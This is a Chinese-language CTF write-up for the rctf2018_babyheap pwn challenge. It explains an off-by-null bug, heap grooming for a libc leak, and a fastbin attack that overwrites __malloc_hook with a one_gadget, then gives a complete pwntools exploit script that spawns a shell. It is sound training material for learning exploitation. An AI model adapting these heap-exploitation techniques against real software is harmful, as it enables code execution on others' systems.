BUUCTF 【rctf2018_babyheap】
今天下午干了一下午,估计是我太菜了呜呜呜
拿到附件,先检查程序
例行检查:
保护机制全开,这很‘堆题’
程序和漏洞分析
程序又add,show,del三个功能,漏洞点在add()中;
存在off by null漏洞,可以溢出一个’\x00’字节,
show(),del()函数功能正常,
而程序add堆块时,调用的是calloc,即限制了我们申请tcachebin,我们不能申请tcachebin,也就不可以来打free_hook来get shell.这里我们通过打malloc_hook来get shell
思路
1.我们通过off by null漏洞来leak出libc地址
2.通过libc地址算出malloc_hook地址,以及需要用到的一些地址,
并堆风水,为下边fastbin attack做准备
3.利用堆好的风水构造overlap,劫持malloc_hook,覆写为one_gadget,
4.申请堆块,触发one_gadget来get shell
exp分析:
#为泄露libc地址堆风水
add(0xa0,'AAA')
add(0x18,'AAA')
add(0xf0,'SSSS')
add(0xc8,'NNNN')#3
#为fastbin堆风水
add(0xa0,'aa')
add(0x68,'AAA')#5
add(0xf0,'AAA')
for i in range(7):
add(0xa0,'A')
for i in range(7):
add(0xf0,'A')
for i in range(7):
add(0x10,'A')
for i in range(21):
free(i+7)
for i in range(7): //先申请7个0x60的堆块,为了fastbin attack 做准备,如果之后在申请的话会出现顺序问题
add(0x60,'t')
for i in range(7): //释放0x60的堆块,之后再free掉5号堆块的话就会进入fastbin中
free(i+7)
此时bin中情况:
我们进行了4种大小的tcachebin处理,为后续做准备
free(0)#进入unsortedbin中
free(1)#进入fastbin中
add(0x18,'A'*0x10+p64(0xd0))#利用off by null漏洞
此时堆中情况:
此时我们已经将size位改成了0x100,之后再free此堆块,触发off by null
free(2)#触发
add(0xa0,'B')#1
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success('leak:'+hex(leak))
libc_base = leak-0x3ebca0
one = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libc_base + one[1]
success('libc_base:'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook:'+hex(malloc_hook))
success('free_hook:'+hex(free_hook))
success('system:'+hex(system))
已经算出地址:
接下来再次进行堆块布局,劫持malloc_hook即可
这是我们接下来要进行fastbin attack 的三个堆块:
//off by null
free(4)
free(5)
add(0x68,'A'*0x60+p64(0x120))
free(2)
free(6)
add(0xc0,'A')
add(0x40,'A')
add(0xc0,'A'*0xa0+p64(0)+p64(0x70)+p64(malloc_hook-0x23))#劫持到malloc_hook-0x23的位置,这里注意我们劫持到的堆块在fastbin 中,要绕过堆头的检查机制
add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))#劫持malloc_hook为one_gadget
接下来再次申请触发one_gadget即可
io.recvuntil(':')
io.sendline('1')
io.recvuntil(':')
io.sendline('20')
完整exp:
from pwn import *
elf = ELF('./babyheap')
#io = remote('node4.buuoj.cn',28724)
io = process('./babyheap')
libc = elf.libc
context.log_level = 'debug'
def choice(c):
io.recvuntil(':')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
def show(idx):
choice(2)
io.recvuntil(':')
io.sendline(str(idx))
def free(idx):
choice(3)
io.recvuntil(':')
io.sendline(str(idx))
add(0xa0,'AAA')
add(0x18,'AAA')
add(0xf0,'SSSS')
add(0xc8,'NNNN')#3
add(0xa0,'aa')
add(0x68,'AAA')
add(0xf0,'AAA')
for i in range(7):
add(0xa0,'A')
for i in range(7):
add(0xf0,'A')
for i in range(7):
add(0x10,'A')
for i in range(21):
free(i+7)
for i in range(7):
add(0x60,'t')
for i in range(7):
free(i+7)
free(0)
free(1)
add(0x18,'A'*0x10+p64(0xd0))
free(2)
add(0xa0,'B')#1
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success('leak:'+hex(leak))
libc_base = leak-0x3ebca0
one = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libc_base + one[1]
success('libc_base:'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook:'+hex(malloc_hook))
success('free_hook:'+hex(free_hook))
success('system:'+hex(system))
free(4)
free(5)
add(0x68,'A'*0x60+p64(0x120))
free(2)
free(6)
add(0xc0,'A')
add(0x40,'A')
add(0xc0,'A'*0xa0+p64(0)+p64(0x70)+p64(malloc_hook-0x23))
add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))
io.recvuntil(':')
io.sendline('1')
io.recvuntil(':')
io.sendline('20')
#gdb.attach(io)
io.interactive()
喜提flag!!!